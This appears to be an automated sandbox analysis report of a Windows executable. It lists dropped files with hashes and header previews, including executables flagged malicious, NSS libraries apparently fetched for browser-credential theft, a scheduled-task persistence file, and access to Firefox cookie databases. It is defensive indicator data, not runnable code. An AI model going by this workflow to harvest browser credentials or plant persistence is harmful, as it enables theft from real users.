Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	3191808
Entropy (8bit):	6.61341163577576
Encrypted:	false
SSDEEP:	98304:eywEy6PBSTc9dt9WfrkT5BTsbX6BsRNkgwlJnIsWBo5KQ:Qo5
MD5:	E583BA21C7728101B6F48E9060E627A4
SHA1:	811E248EE06F570A4A5E9939CBAD6D114ADFF432
SHA-256:	14380071E4210DF990C1BDC196FBAF8F4C3E54BECF4FDFBE8C4AAF71C8A6F32B
SHA-512:	4EC0D9C09CE08D753AF25662E0A388415A53901B6505E7FCBE75EE3E7BCDB869ADFA5300FAEE8BDCC616113067F62E867D8568B725DF93C7CEE48789ECA45902
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......1...@.................................T...h.......@........................................................................................................... . ............................@....rsrc...@...........................@....idata ............................@...cwxuffsy..+.......*.................@...lloczfks......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.393534804015539
Encrypted:	false
SSDEEP:	48:SfNaoQtO2O4TEQtOMfNaoQDMQDWfNaoQL7b7ZQL73fNaoQz7l0UrU0U8QY:6NnQtO2O4TEQtO4NnQAQSNnQnXZQnvN6
MD5:	0B6EB2A275D5507D8C3F753E92D3DEBB
SHA1:	366612E4177C55F5D56C5B35F17519FE38124EFD
SHA-256:	54671CA742DF662654CB349C001773D4B9464BBA1CC73D769D4570FF1F3AF826
SHA-512:	BAC499C6442927518EB78319D53344ABC852A3689C2358F1B251195489494C8A67B559E7FC29D00C001B4210F91A0EE547EA068D610BEEA8E6B50013E692AFB2
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/5A42D5BF2BF1ACCBE0738046616C6475",.. "id": "5A42D5BF2BF1ACCBE0738046616C6475",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/5A42D5BF2BF1ACCBE0738046616C6475"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/D76705B4DE5815799CBC3956AF46C0BD",.. "id": "D76705B4DE5815799CBC3956AF46C0BD",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/D76705B4DE5815799CBC3956AF46C0BD"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFIIIIJKFCA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3275264
Entropy (8bit):	6.66066898063097
Encrypted:	false
SSDEEP:	49152:UdGKiPJ1iMO/qv/SCvhSIdzOEL6fK2xB9o7w7fms:UdGJ1iMO/qv3AQzTLD2ho7mms
MD5:	22FACEA29156C5E5E30F204C5A80ADCF
SHA1:	3C73FF331BC99B5DE0435575A3EF607A41727336
SHA-256:	42893E4564A94AC7BB193ECA8ACA1DBBCE09BFC0BD1688945F6FF311C785EAB9
SHA-512:	D5A770A6872F1EF732DAB1FC4BF283B9C091058A4AC7E72EC219563CDE3478B09CD19DD82503199E09B3F3D82BCAE4F8ABCA5CA1774907125F051B638B5E5632
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.......2...@.................................W...k.............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...ssovaksk.@+......@+.................@...dbhiapag......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsFIIIIJKFCA.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3275264
Entropy (8bit):	6.66066898063097
Encrypted:	false
SSDEEP:	49152:UdGKiPJ1iMO/qv/SCvhSIdzOEL6fK2xB9o7w7fms:UdGJ1iMO/qv3AQzTLD2ho7mms
MD5:	22FACEA29156C5E5E30F204C5A80ADCF
SHA1:	3C73FF331BC99B5DE0435575A3EF607A41727336
SHA-256:	42893E4564A94AC7BB193ECA8ACA1DBBCE09BFC0BD1688945F6FF311C785EAB9
SHA-512:	D5A770A6872F1EF732DAB1FC4BF283B9C091058A4AC7E72EC219563CDE3478B09CD19DD82503199E09B3F3D82BCAE4F8ABCA5CA1774907125F051B638B5E5632
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................2...........@..........................02.......2...@.................................W...k.............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...ssovaksk.@+......@+.................@...dbhiapag......1.......1.............@....taggant.0....2.."....1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsFIIIIJKFCA.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3995326365999805
Encrypted:	false
SSDEEP:	6:Zsh77WR0tXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB3ldt0:Zsh77WRKf2RKQ1CGAFAjzvYRQVBVdt0
MD5:	EE284FD85C3B1A5C188E25460B0FD0E5
SHA1:	39F328DDE3544219EA05CE87C33A047DF31026C9
SHA-256:	6CB2B5B3A76850898A36BA51B4A51BCFE1EBE2A395862F3733E67E162D6B6FAE
SHA-512:	AF229CFC6749C378847AAC0733E727AFFF835E8CE1E50FEB4991DB867B5353EF4714529B4DB7A4C03DAFE84E64C7AB42DB659B5149F75957932F5719AB9BE063
Malicious:	false
Preview:	.......Fx..N..g..<..F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0.................!.@3P.........................

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3122)
Category:	downloaded
Size (bytes):	3127
Entropy (8bit):	5.841268253267164
Encrypted:	false
SSDEEP:	96:oMOYlirqH66664XpyFA2ATOo2ZfsUNdsuaBjpwffffQL:hOObH66664XIOTufHNeJlb
MD5:	9A8E78C5F2B99285D076592310D63724
SHA1:	C190CD72D59F2205785B832A5EA1225EA6C8C262
SHA-256:	3FE0651058F4F2B39ED80879BD24715F1CC6350495D16346D4D382371CCB6989
SHA-512:	D20AB055DF81F1A2FF942C007062303505BAF7FCCD7AA8B4AC00BA0D4EAA01AE5EFA33E7516C59419978E444BE372559D9CA4F8FD86F5A5DFD0900B0C528F592
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["shiba inu cryptocurrency","box office venom 3","jacksonville jaguars minnesota vikings","northern lights aurora forecast","colorado snowfall totals","dragon age veilguard","amazon black friday deals","indiana hoosiers basketball"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMXFxamI2aHNmEgpWaWRlbyBnYW1lMsMGZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFCRUFRQU1CSWdBQ0VRRURFUUgveEFBYUFBRUFBZ01CQUFBQUFBQUFBQUFBQUFBQUFnTUVCUWNCLzhRQUxSQUFBZ0VEQXdNQ0F3a0FBQUFBQUFBQUFRSURBQVFSRWhNaElqRkJCZkFVVWJFVk0xSmhjWUd

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	174097
Entropy (8bit):	5.554845848492248
Encrypted:	false
SSDEEP:	3072:49GysOAIZQy3ZZb6L5BfizRURkgq3ocEs7BB19HDKDSfEISlCMDyQhnF/VU9cpar:49G3IZP3ZZmHfiz+R7q3ocV7BB19HDKq
MD5:	292ACC11525E24B0501DEAC4EB7B61D4
SHA1:	4840E1B06489D1210E25C620AC0E4DEA33F4A574
SHA-256:	A5CB759FC6BF64DD1E35731C88899928B098A359EFF9CA5B34B91F23ADE02C2B
SHA-512:	FBDB4B2B4B647F734B6E05D0495CE1135E9536D611BC567A3B47353FEC986B92412153C214EFE776BC6391239076B3DA6B79851C8BE036C00E4AD026F88CC683
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.ciOLm-Jy21Y.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTvi2-a6fPowp_OrDQczHs8e8wA2zQ"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.ej=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var fj,gj,ij,lj,oj,nj,hj,mj;fj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};gj=function(){_.Ka()};ij=function(){hj===void 0&&(hj=typeof WeakMap==="function"?fj(WeakMap):null);return hj};lj=function(a,b){(_.jj\|\|(_.jj=new hj)).set(a,b);(_.kj\|\|(_.kj=new hj)).set(b,a)};.oj=function(a){if(mj===void 0){const b=new nj([],{});mj=Array.prototype.concat.call([],b).length===1}mj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.pj=function(a,b,c){a=_.zb(a,b,c);return Array.isArray(a)?a:_.Kc};_.qj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.rj=function(a,b){a===0&&(a=_.qj(a,b));return a\|1};_.sj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.tj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.xj=function(a,b,c,d,e,f,g){const h=a.ha;var k=!!(2&b);e=k?1:e;

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133674
Entropy (8bit):	5.4324864734099645
Encrypted:	false
SSDEEP:	1536:i7C/VNgO7Yp+GhGLhJgJoamyeX43zGiJsKtPLx8OF97f4qlgaCFlOve2dzAcJ82O:f77vhSJjxeX431PBLx8OF9jgYsci2i6o
MD5:	18489C2CFED6729B3D241323ECFD5EAA
SHA1:	BAB2B9ACAA94A10A20F638C5A606D7AA831F7B98
SHA-256:	2F095D92C83E049A59D512655FF1BA5CF2B3342C2EFF23926841C627C974A6F8
SHA-512:	C90DD74012303F81427DE5BB399DF5E618429677947019CBF16CD0AEC00AC86D769B1E9613A5AED8DC40607B9BB0246986BFC65C243056378D5F6712F48D7271
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.gyN29IQRsEA.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTthb_7uL8fi0CBKDba3xi6R0PUU9w"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946981917755699
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'792'512 bytes
MD5:	ecfbd10e08d9c96177f20e200b32db7c
SHA1:	f39549ca5e29f78e2cb8b297d2b75fb5055925b2
SHA256:	c5d2ffc9c45c477de453ff71fc17293911c07d185c54a738dc870fc9ac973f31
SHA512:	17839c2f18bb4e6d372afec62beb634e292a4fb0cb1008acc73dafc15edfc80f776ea435436853716ad8631b4eee48eb3ffced7ac73e31050a87ab6c65266ddc
